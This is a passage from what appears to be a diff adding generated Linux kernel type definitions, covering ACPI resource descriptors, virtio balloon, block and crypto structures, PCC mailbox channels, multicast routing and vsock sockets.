maximum; + u64 translation_offset; + u64 address_length; +} __attribute__((packed)); + +struct aml_resource_address32 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u32 granularity; + u32 minimum; + u32 maximum; + u32 translation_offset; + u32 address_length; +} __attribute__((packed)); + +struct aml_resource_address16 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u16 granularity; + u16 minimum; + u16 maximum; + u16 translation_offset; + u16 address_length; +} __attribute__((packed)); + +struct aml_resource_extended_irq { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u8 interrupt_count; + union { + u32 interrupt; + struct { + struct {} __Empty_interrupts; + u32 interrupts[0]; + }; + }; +} __attribute__((packed)); + +struct aml_resource_generic_register { + u8 descriptor_type; + u16 resource_length; + u8 address_space_id; + u8 bit_width; + u8 bit_offset; + u8 access_size; + u64 address; +} __attribute__((packed)); + +struct aml_resource_gpio { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 connection_type; + u16 flags; + u16 int_flags; + u8 pin_config; + u16 drive_strength; + u16 debounce_timeout; + u16 pin_table_offset; + u8 res_source_index; + u16 res_source_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_common_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; +} __attribute__((packed)); + +struct aml_resource_csi2_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; +} __attribute__((packed)); + +struct aml_resource_i2c_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; + u32 connection_speed; + u16 slave_address; +} __attribute__((packed)); + +struct aml_resource_spi_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; + u32 connection_speed; + u8 data_bit_length; + u8 clock_phase; + u8 clock_polarity; + u16 device_selection; +} __attribute__((packed)); + +struct aml_resource_uart_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; + u32 default_baud_rate; + u16 rx_fifo_size; + u16 tx_fifo_size; + u8 parity; + u8 lines_enabled; +} __attribute__((packed)); + +struct aml_resource_pin_function { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u8 pin_config; + u16 function_number; + u16 pin_table_offset; + u8 res_source_index; + u16 res_source_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_config { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u8 pin_config_type; + u32 pin_config_value; + u16 pin_table_offset; + u8 res_source_index; + u16 res_source_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_clock_input { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u16 frequency_divisor; + u32 frequency_numerator; +} __attribute__((packed)); + +struct aml_resource_pin_group { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u16 pin_table_offset; + u16 label_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_group_function { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u16 function_number; + u8 res_source_index; + u16 res_source_offset; + u16 res_source_label_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_group_config { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u8 pin_config_type; + u32 pin_config_value; + u8 res_source_index; + u16 res_source_offset; + u16 res_source_label_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +union aml_resource { + u8 descriptor_type; + struct aml_resource_small_header small_header; + struct aml_resource_large_header large_header; + struct aml_resource_irq irq; + struct aml_resource_dma dma; + struct aml_resource_start_dependent start_dpf; + struct aml_resource_end_dependent end_dpf; + struct aml_resource_io io; + struct aml_resource_fixed_io fixed_io; + struct aml_resource_fixed_dma fixed_dma; + struct aml_resource_vendor_small vendor_small; + struct aml_resource_end_tag end_tag; + struct aml_resource_memory24 memory24; + struct aml_resource_generic_register generic_reg; + struct aml_resource_vendor_large vendor_large; + struct aml_resource_memory32 memory32; + struct aml_resource_fixed_memory32 fixed_memory32; + struct aml_resource_address16 address16; + struct aml_resource_address32 address32; + struct aml_resource_address64 address64; + struct aml_resource_extended_address64 ext_address64; + struct aml_resource_extended_irq extended_irq; + struct aml_resource_gpio gpio; + struct aml_resource_i2c_serialbus i2c_serial_bus; + struct aml_resource_spi_serialbus spi_serial_bus; + struct aml_resource_uart_serialbus uart_serial_bus; + struct aml_resource_csi2_serialbus csi2_serial_bus; + struct aml_resource_common_serialbus common_serial_bus; + struct aml_resource_pin_function pin_function; + struct aml_resource_pin_config pin_config; + struct aml_resource_pin_group pin_group; + struct aml_resource_pin_group_function pin_group_function; + struct aml_resource_pin_group_config pin_group_config; + struct aml_resource_clock_input clock_input; + struct aml_resource_address address; + u32 dword_item; + u16 word_item; + u8 byte_item; +}; + +struct virtio_driver { + struct device_driver driver; + const struct virtio_device_id *id_table; + const unsigned int *feature_table; + unsigned int feature_table_size; + const unsigned int *feature_table_legacy; + unsigned int feature_table_size_legacy; + int (*validate)(struct virtio_device *); + int (*probe)(struct virtio_device *); + void (*scan)(struct virtio_device *); + void (*remove)(struct virtio_device *); + void (*config_changed)(struct virtio_device *); + int (*freeze)(struct virtio_device *); + int (*restore)(struct virtio_device *); +}; + +struct virtio_balloon_config { + __le32 num_pages; + __le32 actual; + union { + __le32 free_page_hint_cmd_id; + __le32 free_page_report_cmd_id; + }; + __le32 poison_val; +}; + +struct virtio_balloon_stat { + __virtio16 tag; + __virtio64 val; +} __attribute__((packed)); + +struct movable_operations { + bool (*isolate_page)(struct page *, isolate_mode_t); + int (*migrate_page)(struct page *, struct page *, enum migrate_mode); + void (*putback_page)(struct page *); +}; + +struct balloon_dev_info { + long unsigned int isolated_pages; + spinlock_t pages_lock; + struct list_head pages; + int (*migratepage)(struct balloon_dev_info *, struct page *, struct page *, enum migrate_mode); +}; + +enum virtio_balloon_vq { + VIRTIO_BALLOON_VQ_INFLATE = 0, + VIRTIO_BALLOON_VQ_DEFLATE = 1, + VIRTIO_BALLOON_VQ_STATS = 2, + VIRTIO_BALLOON_VQ_FREE_PAGE = 3, + VIRTIO_BALLOON_VQ_REPORTING = 4, + VIRTIO_BALLOON_VQ_MAX = 5, +}; + +enum virtio_balloon_config_read { + VIRTIO_BALLOON_CONFIG_READ_CMD_ID = 0, +}; + +struct virtio_balloon { + struct virtio_device *vdev; + struct virtqueue *inflate_vq; + struct virtqueue *deflate_vq; + struct virtqueue *stats_vq; + struct virtqueue *free_page_vq; + struct workqueue_struct *balloon_wq; + struct work_struct report_free_page_work; + struct work_struct update_balloon_stats_work; + struct work_struct update_balloon_size_work; + spinlock_t stop_update_lock; + bool stop_update; + long unsigned int config_read_bitmap; + struct list_head free_page_list; + spinlock_t free_page_list_lock; + long unsigned int num_free_page_blocks; + u32 cmd_id_received_cache; + __virtio32 cmd_id_active; + __virtio32 cmd_id_stop; + wait_queue_head_t acked; + unsigned int num_pages; + struct balloon_dev_info vb_dev_info; + struct mutex balloon_lock; + unsigned int num_pfns; + __virtio32 pfns[256]; + struct virtio_balloon_stat stats[10]; + struct shrinker shrinker; + struct notifier_block oom_nb; + struct virtqueue *reporting_vq; + struct page_reporting_dev_info pr_dev_info; +}; + +struct splice_desc { + size_t total_len; + unsigned int len; + unsigned int flags; + union { + void *userptr; + struct file *file; + void *data; + } u; + loff_t pos; + loff_t *opos; + size_t num_spliced; + bool need_wakeup; +}; + +struct memdev { + const char *name; + umode_t mode; + const struct file_operations *fops; + fmode_t fmode; +}; + +enum cache_type { + CACHE_TYPE_NOCACHE = 0, + CACHE_TYPE_INST = 1, + CACHE_TYPE_DATA = 2, + CACHE_TYPE_SEPARATE = 3, + CACHE_TYPE_UNIFIED = 4, +}; + +struct cacheinfo { + unsigned int id; + enum cache_type type; + unsigned int level; + unsigned int coherency_line_size; + unsigned int number_of_sets; + unsigned int ways_of_associativity; + unsigned int physical_line_partition; + unsigned int size; + cpumask_t shared_cpu_map; + unsigned int attributes; + void *fw_token; + bool disable_sysfs; + void *priv; +}; + +struct cpu_cacheinfo { + struct cacheinfo *info_list; + unsigned int num_levels; + unsigned int num_leaves; + bool cpu_map_populated; + bool early_ci_levels; +}; + +struct hd_geometry { + unsigned char heads; + unsigned char sectors; + short unsigned int cylinders; + long unsigned int start; +}; + +struct virtio_blk_geometry { + __virtio16 cylinders; + __u8 heads; + __u8 sectors; +}; + +struct virtio_blk_zoned_characteristics { + __virtio32 zone_sectors; + __virtio32 max_open_zones; + __virtio32 max_active_zones; + __virtio32 max_append_sectors; + __virtio32 write_granularity; + __u8 model; + __u8 unused2[3]; +}; + +struct virtio_blk_config { + __virtio64 capacity; + __virtio32 size_max; + __virtio32 seg_max; + struct virtio_blk_geometry geometry; + __virtio32 blk_size; + __u8 physical_block_exp; + __u8 alignment_offset; + __virtio16 min_io_size; + __virtio32 opt_io_size; + __u8 wce; + __u8 unused; + __virtio16 num_queues; + __virtio32 max_discard_sectors; + __virtio32 max_discard_seg; + __virtio32 discard_sector_alignment; + __virtio32 max_write_zeroes_sectors; + __virtio32 max_write_zeroes_seg; + __u8 write_zeroes_may_unmap; + __u8 unused1[3]; + __virtio32 max_secure_erase_sectors; + __virtio32 max_secure_erase_seg; + __virtio32 secure_erase_sector_alignment; + struct virtio_blk_zoned_characteristics zoned; +}; + +struct virtio_blk_outhdr { + __virtio32 type; + __virtio32 ioprio; + __virtio64 sector; +}; + +struct virtio_blk_discard_write_zeroes { + __le64 sector; + __le32 num_sectors; + __le32 flags; +}; + +enum string_size_units { + STRING_UNITS_10 = 0, + STRING_UNITS_2 = 1, +}; + +struct virtio_blk_vq { + struct virtqueue *vq; + spinlock_t lock; + char name[16]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct virtio_blk { + struct mutex vdev_mutex; + struct virtio_device *vdev; + struct gendisk *disk; + struct blk_mq_tag_set tag_set; + struct work_struct config_work; + int index; + int num_vqs; + int io_queues[3]; + struct virtio_blk_vq *vqs; + unsigned int zone_sectors; +}; + +struct virtblk_req { + struct virtio_blk_outhdr out_hdr; + union { + u8 status; + struct { + __virtio64 sector; + u8 status; + } zone_append; + } in_hdr; + size_t in_hdr_len; + struct sg_table sg_table; + struct scatterlist sg[0]; +}; + +struct input_event { + __kernel_ulong_t __sec; + __kernel_ulong_t __usec; + __u16 type; + __u16 code; + __s32 value; +}; + +enum tick_broadcast_mode { + TICK_BROADCAST_OFF = 0, + TICK_BROADCAST_ON = 1, + TICK_BROADCAST_FORCE = 2, +}; + +struct rsa_key { + const u8 *n; + const u8 *e; + const u8 *d; + const u8 *p; + const u8 *q; + const u8 *dp; + const u8 *dq; + const u8 *qinv; + size_t n_sz; + size_t e_sz; + size_t d_sz; + size_t p_sz; + size_t q_sz; + size_t dp_sz; + size_t dq_sz; + size_t qinv_sz; +}; + +struct virtio_crypto_ctrl_header { + __le32 opcode; + __le32 algo; + __le32 flag; + __le32 queue_id; +}; + +struct virtio_crypto_cipher_session_para { + __le32 algo; + __le32 keylen; + __le32 op; + __le32 padding; +}; + +struct virtio_crypto_session_input { + __le64 session_id; + __le32 status; + __le32 padding; +}; + +struct virtio_crypto_cipher_session_req { + struct virtio_crypto_cipher_session_para para; + __u8 padding[32]; +}; + +struct virtio_crypto_hash_session_para { + __le32 algo; + __le32 hash_result_len; + __u8 padding[8]; +}; + +struct virtio_crypto_hash_create_session_req { + struct virtio_crypto_hash_session_para para; + __u8 padding[40]; +}; + +struct virtio_crypto_mac_session_para { + __le32 algo; + __le32 hash_result_len; + __le32 auth_key_len; + __le32 padding; +}; + +struct virtio_crypto_mac_create_session_req { + struct virtio_crypto_mac_session_para para; + __u8 padding[40]; +}; + +struct virtio_crypto_aead_session_para { + __le32 algo; + __le32 key_len; + __le32 hash_result_len; + __le32 aad_len; + __le32 op; + __le32 padding; +}; + +struct virtio_crypto_aead_create_session_req { + struct virtio_crypto_aead_session_para para; + __u8 padding[32]; +}; + +struct virtio_crypto_rsa_session_para { + __le32 padding_algo; + __le32 hash_algo; +}; + +struct virtio_crypto_ecdsa_session_para { + __le32 curve_id; + __le32 padding; +}; + +struct virtio_crypto_akcipher_session_para { + __le32 algo; + __le32 keytype; + __le32 keylen; + union { + struct virtio_crypto_rsa_session_para rsa; + struct virtio_crypto_ecdsa_session_para ecdsa; + } u; +}; + +struct virtio_crypto_akcipher_create_session_req { + struct virtio_crypto_akcipher_session_para para; + __u8 padding[36]; +}; + +struct virtio_crypto_alg_chain_session_para { + __le32 alg_chain_order; + __le32 hash_mode; + struct virtio_crypto_cipher_session_para cipher_param; + union { + struct virtio_crypto_hash_session_para hash_param; + struct virtio_crypto_mac_session_para mac_param; + __u8 padding[16]; + } u; + __le32 aad_len; + __le32 padding; +}; + +struct virtio_crypto_alg_chain_session_req { + struct virtio_crypto_alg_chain_session_para para; +}; + +struct virtio_crypto_sym_create_session_req { + union { + struct virtio_crypto_cipher_session_req cipher; + struct virtio_crypto_alg_chain_session_req chain; + __u8 padding[48]; + } u; + __le32 op_type; + __le32 padding; +}; + +struct virtio_crypto_destroy_session_req { + __le64 session_id; + __u8 padding[48]; +}; + +struct virtio_crypto_op_ctrl_req { + struct virtio_crypto_ctrl_header header; + union { + struct virtio_crypto_sym_create_session_req sym_create_session; + struct virtio_crypto_hash_create_session_req hash_create_session; + struct virtio_crypto_mac_create_session_req mac_create_session; + struct virtio_crypto_aead_create_session_req aead_create_session; + struct virtio_crypto_akcipher_create_session_req akcipher_create_session; + struct virtio_crypto_destroy_session_req destroy_session; + __u8 padding[56]; + } u; +}; + +struct virtio_crypto_op_header { + __le32 opcode; + __le32 algo; + __le64 session_id; + __le32 flag; + __le32 padding; +}; + +struct virtio_crypto_cipher_para { + __le32 iv_len; + __le32 src_data_len; + __le32 dst_data_len; + __le32 padding; +}; + +struct virtio_crypto_hash_para { + __le32 src_data_len; + __le32 hash_result_len; +}; + +struct virtio_crypto_mac_para { + struct virtio_crypto_hash_para hash; +}; + +struct virtio_crypto_aead_para { + __le32 iv_len; + __le32 aad_len; + __le32 src_data_len; + __le32 dst_data_len; +}; + +struct virtio_crypto_cipher_data_req { + struct virtio_crypto_cipher_para para; + __u8 padding[24]; +}; + +struct virtio_crypto_hash_data_req { + struct virtio_crypto_hash_para para; + __u8 padding[40]; +}; + +struct virtio_crypto_mac_data_req { + struct virtio_crypto_mac_para para; + __u8 padding[40]; +}; + +struct virtio_crypto_alg_chain_data_para { + __le32 iv_len; + __le32 src_data_len; + __le32 dst_data_len; + __le32 cipher_start_src_offset; + __le32 len_to_cipher; + __le32 hash_start_src_offset; + __le32 len_to_hash; + __le32 aad_len; + __le32 hash_result_len; + __le32 reserved; +}; + +struct virtio_crypto_alg_chain_data_req { + struct virtio_crypto_alg_chain_data_para para; +}; + +struct virtio_crypto_sym_data_req { + union { + struct virtio_crypto_cipher_data_req cipher; + struct virtio_crypto_alg_chain_data_req chain; + __u8 padding[40]; + } u; + __le32 op_type; + __le32 padding; +}; + +struct virtio_crypto_aead_data_req { + struct virtio_crypto_aead_para para; + __u8 padding[32]; +}; + +struct virtio_crypto_akcipher_para { + __le32 src_data_len; + __le32 dst_data_len; +}; + +struct virtio_crypto_akcipher_data_req { + struct virtio_crypto_akcipher_para para; + __u8 padding[40]; +}; + +struct virtio_crypto_op_data_req { + struct virtio_crypto_op_header header; + union { + struct virtio_crypto_sym_data_req sym_req; + struct virtio_crypto_hash_data_req hash_req; + struct virtio_crypto_mac_data_req mac_req; + struct virtio_crypto_aead_data_req aead_req; + struct virtio_crypto_akcipher_data_req akcipher_req; + __u8 padding[48]; + } u; +}; + +struct virtio_crypto_inhdr { + __u8 status; +}; + +struct crypto_engine_op { + int (*prepare_request)(struct crypto_engine *, void *); + int (*unprepare_request)(struct crypto_engine *, void *); + int (*do_one_request)(struct crypto_engine *, void *); +}; + +struct crypto_engine_ctx { + struct crypto_engine_op op; +}; + +struct virtio_crypto_ctrl_request { + struct virtio_crypto_op_ctrl_req ctrl; + struct virtio_crypto_session_input input; + struct virtio_crypto_inhdr ctrl_status; + struct completion compl; +}; + +struct virtio_crypto_request; + +typedef void (*virtio_crypto_data_callback)(struct virtio_crypto_request *, int); + +struct virtio_crypto_request { + uint8_t status; + struct virtio_crypto_op_data_req *req_data; + struct scatterlist **sgs; + struct data_queue *dataq; + virtio_crypto_data_callback alg_cb; +}; + +struct virtio_crypto_rsa_ctx { + MPI n; +}; + +struct virtio_crypto_akcipher_ctx { + struct crypto_engine_ctx enginectx; + struct virtio_crypto *vcrypto; + struct crypto_akcipher *tfm; + bool session_valid; + __u64 session_id; + union { + struct virtio_crypto_rsa_ctx rsa_ctx; + }; +}; + +struct virtio_crypto_akcipher_request { + struct virtio_crypto_request base; + struct virtio_crypto_akcipher_ctx *akcipher_ctx; + struct akcipher_request *akcipher_req; + void *src_buf; + void *dst_buf; + uint32_t opcode; +}; + +struct virtio_crypto_akcipher_algo { + uint32_t algonum; + uint32_t service; + unsigned int active_devs; + struct akcipher_alg algo; +}; + +struct acpi_table_pcct { + struct acpi_table_header header; + u32 flags; + u64 reserved; +}; + +enum acpi_pcct_type { + ACPI_PCCT_TYPE_GENERIC_SUBSPACE = 0, + ACPI_PCCT_TYPE_HW_REDUCED_SUBSPACE = 1, + ACPI_PCCT_TYPE_HW_REDUCED_SUBSPACE_TYPE2 = 2, + ACPI_PCCT_TYPE_EXT_PCC_MASTER_SUBSPACE = 3, + ACPI_PCCT_TYPE_EXT_PCC_SLAVE_SUBSPACE = 4, + ACPI_PCCT_TYPE_HW_REG_COMM_SUBSPACE = 5, + ACPI_PCCT_TYPE_RESERVED = 6, +}; + +struct acpi_pcct_subspace { + struct acpi_subtable_header header; + u8 reserved[6]; + u64 base_address; + u64 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; +} __attribute__((packed)); + +struct acpi_pcct_hw_reduced { + struct acpi_subtable_header header; + u32 platform_interrupt; + u8 flags; + u8 reserved; + u64 base_address; + u64 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; +} __attribute__((packed)); + +struct acpi_pcct_hw_reduced_type2 { + struct acpi_subtable_header header; + u32 platform_interrupt; + u8 flags; + u8 reserved; + u64 base_address; + u64 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; + struct acpi_generic_address platform_ack_register; + u64 ack_preserve_mask; + u64 ack_write_mask; +} __attribute__((packed)); + +struct acpi_pcct_ext_pcc_master { + struct acpi_subtable_header header; + u32 platform_interrupt; + u8 flags; + u8 reserved1; + u64 base_address; + u32 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u32 min_turnaround_time; + struct acpi_generic_address platform_ack_register; + u64 ack_preserve_mask; + u64 ack_set_mask; + u64 reserved2; + struct acpi_generic_address cmd_complete_register; + u64 cmd_complete_mask; + struct acpi_generic_address cmd_update_register; + u64 cmd_update_preserve_mask; + u64 cmd_update_set_mask; + struct acpi_generic_address error_status_register; + u64 error_status_mask; +} __attribute__((packed)); + +struct mbox_chan; + +struct mbox_chan_ops { + int (*send_data)(struct mbox_chan *, void *); + int (*flush)(struct mbox_chan *, long unsigned int); + int (*startup)(struct mbox_chan *); + void (*shutdown)(struct mbox_chan *); + bool (*last_tx_done)(struct mbox_chan *); + bool (*peek_data)(struct mbox_chan *); +}; + +struct mbox_controller; + +struct mbox_client; + +struct mbox_chan { + struct mbox_controller *mbox; + unsigned int txdone_method; + struct mbox_client *cl; + struct completion tx_complete; + void *active_req; + unsigned int msg_count; + unsigned int msg_free; + void *msg_data[20]; + spinlock_t lock; + void *con_priv; +}; + +struct mbox_controller { + struct device *dev; + const struct mbox_chan_ops *ops; + struct mbox_chan *chans; + int num_chans; + bool txdone_irq; + bool txdone_poll; + unsigned int txpoll_period; + struct mbox_chan * (*of_xlate)(struct mbox_controller *, const struct of_phandle_args *); + struct hrtimer poll_hrt; + spinlock_t poll_hrt_lock; + struct list_head node; +}; + +struct mbox_client { + struct device *dev; + bool tx_block; + long unsigned int tx_tout; + bool knows_txdone; + void (*rx_callback)(struct mbox_client *, void *); + void (*tx_prepare)(struct mbox_client *, void *); + void (*tx_done)(struct mbox_client *, void *, int); +}; + +struct pcc_mbox_chan { + struct mbox_chan *mchan; + u64 shmem_base_addr; + u64 shmem_size; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; +}; + +struct pcc_chan_reg { + void *vaddr; + struct acpi_generic_address *gas; + u64 preserve_mask; + u64 set_mask; + u64 status_mask; +}; + +struct pcc_chan_info { + struct pcc_mbox_chan chan; + struct pcc_chan_reg db; + struct pcc_chan_reg plat_irq_ack; + struct pcc_chan_reg cmd_complete; + struct pcc_chan_reg cmd_update; + struct pcc_chan_reg error; + int plat_irq; +}; + +struct tc_qopt_offload_stats { + struct gnet_stats_basic_sync *bstats; + struct gnet_stats_queue *qstats; +}; + +enum tc_mq_command { + TC_MQ_CREATE = 0, + TC_MQ_DESTROY = 1, + TC_MQ_STATS = 2, + TC_MQ_GRAFT = 3, +}; + +struct tc_mq_opt_offload_graft_params { + long unsigned int queue; + u32 child_handle; +}; + +struct tc_mq_qopt_offload { + enum tc_mq_command command; + u32 handle; + union { + struct tc_qopt_offload_stats stats; + struct tc_mq_opt_offload_graft_params graft_params; + }; +}; + +struct mq_sched { + struct Qdisc **qdiscs; +}; + +struct nf_conn_synproxy { + u32 isn; + u32 its; + u32 tsoff; +}; + +enum nf_ct_tcp_action { + NFCT_TCP_IGNORE = 0, + NFCT_TCP_INVALID = 1, + NFCT_TCP_ACCEPT = 2, +}; + +enum tcp_bit_set { + TCP_SYN_SET = 0, + TCP_SYNACK_SET = 1, + TCP_FIN_SET = 2, + TCP_ACK_SET = 3, + TCP_RST_SET = 4, + TCP_NONE_SET = 5, +}; + +struct icmp_filter { + __u32 data; +}; + +struct raw_iter_state { + struct seq_net_private p; + int bucket; +}; + +struct raw_sock { + struct inet_sock inet; + struct icmp_filter filter; + u32 ipmr_table; +}; + +struct raw_frag_vec { + struct msghdr *msg; + union { + struct icmphdr icmph; + char c[1]; + } hdr; + int hlen; +}; + +struct nlmsgerr { + int error; + struct nlmsghdr msg; +}; + +struct ifinfomsg { + unsigned char ifi_family; + unsigned char __ifi_pad; + short unsigned int ifi_type; + int ifi_index; + unsigned int ifi_flags; + unsigned int ifi_change; +}; + +struct igmphdr { + __u8 type; + __u8 code; + __sum16 csum; + __be32 group; +}; + +enum { + PIM_TYPE_HELLO = 0, + PIM_TYPE_REGISTER = 1, + PIM_TYPE_REGISTER_STOP = 2, + PIM_TYPE_JOIN_PRUNE = 3, + PIM_TYPE_BOOTSTRAP = 4, + PIM_TYPE_ASSERT = 5, + PIM_TYPE_GRAFT = 6, + PIM_TYPE_GRAFT_ACK = 7, + PIM_TYPE_CANDIDATE_RP_ADV = 8, +}; + +struct pimreghdr { + __u8 type; + __u8 reserved; + __be16 csum; + __be32 flags; +}; + +struct fib_notifier_info { + int family; + struct netlink_ext_ack *extack; +}; + +typedef short unsigned int vifi_t; + +struct vifctl { + vifi_t vifc_vifi; + unsigned char vifc_flags; + unsigned char vifc_threshold; + unsigned int vifc_rate_limit; + union { + struct in_addr vifc_lcl_addr; + int vifc_lcl_ifindex; + }; + struct in_addr vifc_rmt_addr; +}; + +struct mfcctl { + struct in_addr mfcc_origin; + struct in_addr mfcc_mcastgrp; + vifi_t mfcc_parent; + unsigned char mfcc_ttls[32]; + unsigned int mfcc_pkt_cnt; + unsigned int mfcc_byte_cnt; + unsigned int mfcc_wrong_if; + int mfcc_expire; +}; + +struct sioc_sg_req { + struct in_addr src; + struct in_addr grp; + long unsigned int pktcnt; + long unsigned int bytecnt; + long unsigned int wrong_if; +}; + +struct sioc_vif_req { + vifi_t vifi; + long unsigned int icount; + long unsigned int ocount; + long unsigned int ibytes; + long unsigned int obytes; +}; + +struct igmpmsg { + __u32 unused1; + __u32 unused2; + unsigned char im_msgtype; + unsigned char im_mbz; + unsigned char im_vif; + unsigned char im_vif_hi; + struct in_addr im_src; + struct in_addr im_dst; +}; + +enum { + IPMRA_TABLE_UNSPEC = 0, + IPMRA_TABLE_ID = 1, + IPMRA_TABLE_CACHE_RES_QUEUE_LEN = 2, + IPMRA_TABLE_MROUTE_REG_VIF_NUM = 3, + IPMRA_TABLE_MROUTE_DO_ASSERT = 4, + IPMRA_TABLE_MROUTE_DO_PIM = 5, + IPMRA_TABLE_VIFS = 6, + IPMRA_TABLE_MROUTE_DO_WRVIFWHOLE = 7, + __IPMRA_TABLE_MAX = 8, +}; + +enum { + IPMRA_VIF_UNSPEC = 0, + IPMRA_VIF = 1, + __IPMRA_VIF_MAX = 2, +}; + +enum { + IPMRA_VIFA_UNSPEC = 0, + IPMRA_VIFA_IFINDEX = 1, + IPMRA_VIFA_VIF_ID = 2, + IPMRA_VIFA_FLAGS = 3, + IPMRA_VIFA_BYTES_IN = 4, + IPMRA_VIFA_BYTES_OUT = 5, + IPMRA_VIFA_PACKETS_IN = 6, + IPMRA_VIFA_PACKETS_OUT = 7, + IPMRA_VIFA_LOCAL_ADDR = 8, + IPMRA_VIFA_REMOTE_ADDR = 9, + IPMRA_VIFA_PAD = 10, + __IPMRA_VIFA_MAX = 11, +}; + +enum { + IPMRA_CREPORT_UNSPEC = 0, + IPMRA_CREPORT_MSGTYPE = 1, + IPMRA_CREPORT_VIF_ID = 2, + IPMRA_CREPORT_SRC_ADDR = 3, + IPMRA_CREPORT_DST_ADDR = 4, + IPMRA_CREPORT_PKT = 5, + IPMRA_CREPORT_TABLE = 6, + __IPMRA_CREPORT_MAX = 7, +}; + +struct vif_entry_notifier_info { + struct fib_notifier_info info; + struct net_device *dev; + short unsigned int vif_index; + short unsigned int vif_flags; + u32 tb_id; +}; + +enum { + MFC_STATIC = 1, + MFC_OFFLOAD = 2, +}; + +struct mr_mfc { + struct rhlist_head mnode; + short unsigned int mfc_parent; + int mfc_flags; + union { + struct { + long unsigned int expires; + struct sk_buff_head unresolved; + } unres; + struct { + long unsigned int last_assert; + int minvif; + int maxvif; + long unsigned int bytes; + long unsigned int pkt; + long unsigned int wrong_if; + long unsigned int lastuse; + unsigned char ttls[32]; + refcount_t refcount; + } res; + } mfc_un; + struct list_head list; + struct callback_head rcu; + void (*free)(struct callback_head *); +}; + +struct mfc_entry_notifier_info { + struct fib_notifier_info info; + struct mr_mfc *mfc; + u32 tb_id; +}; + +struct mr_vif_iter { + struct seq_net_private p; + struct mr_table *mrt; + int ct; +}; + +struct mr_mfc_iter { + struct seq_net_private p; + struct mr_table *mrt; + struct list_head *cache; + spinlock_t *lock; +}; + +struct mfc_cache_cmp_arg { + __be32 mfc_mcastgrp; + __be32 mfc_origin; +}; + +struct mfc_cache { + struct mr_mfc _c; + union { + struct { + __be32 mfc_mcastgrp; + __be32 mfc_origin; + }; + struct mfc_cache_cmp_arg cmparg; + }; +}; + +enum { + NETCONFA_UNSPEC = 0, + NETCONFA_IFINDEX = 1, + NETCONFA_FORWARDING = 2, + NETCONFA_RP_FILTER = 3, + NETCONFA_MC_FORWARDING = 4, + NETCONFA_PROXY_NEIGH = 5, + NETCONFA_IGNORE_ROUTES_WITH_LINKDOWN = 6, + NETCONFA_INPUT = 7, + NETCONFA_BC_FORWARDING = 8, + __NETCONFA_MAX = 9, +}; + +struct sr6_tlv { + __u8 type; + __u8 len; + __u8 data[0]; +}; + +enum { + SEG6_ATTR_UNSPEC = 0, + SEG6_ATTR_DST = 1, + SEG6_ATTR_DSTLEN = 2, + SEG6_ATTR_HMACKEYID = 3, + SEG6_ATTR_SECRET = 4, + SEG6_ATTR_SECRETLEN = 5, + SEG6_ATTR_ALGID = 6, + SEG6_ATTR_HMACINFO = 7, + __SEG6_ATTR_MAX = 8, +}; + +enum { + SEG6_CMD_UNSPEC = 0, + SEG6_CMD_SETHMAC = 1, + SEG6_CMD_DUMPHMAC = 2, + SEG6_CMD_SET_TUNSRC = 3, + SEG6_CMD_GET_TUNSRC = 4, + __SEG6_CMD_MAX = 5, +}; + +struct errormap { + char *name; + int val; + int namelen; + struct hlist_node list; +}; + +struct __kernel_sock_timeval { + __s64 tv_sec; + __s64 tv_usec; +}; + +struct old_timeval32 { + old_time32_t tv_sec; + s32 tv_usec; +}; + +struct net_proto_family { + int family; + int (*create)(struct net *, struct socket *, int, int); + struct module *owner; +}; + +struct sockaddr_vm { + __kernel_sa_family_t svm_family; + short unsigned int svm_reserved1; + unsigned int svm_port; + unsigned int svm_cid; + __u8 svm_flags; + unsigned char svm_zero[3]; +}; + +struct vsock_transport; + +struct vsock_sock { + struct sock sk; + const struct vsock_transport *transport; + struct sockaddr_vm local_addr; + struct sockaddr_vm remote_addr; + struct list_head bound_table; + struct list_head connected_table; + bool trusted; + bool cached_peer_allow_dgram; + u32 cached_peer; + const struct cred *owner; + long int 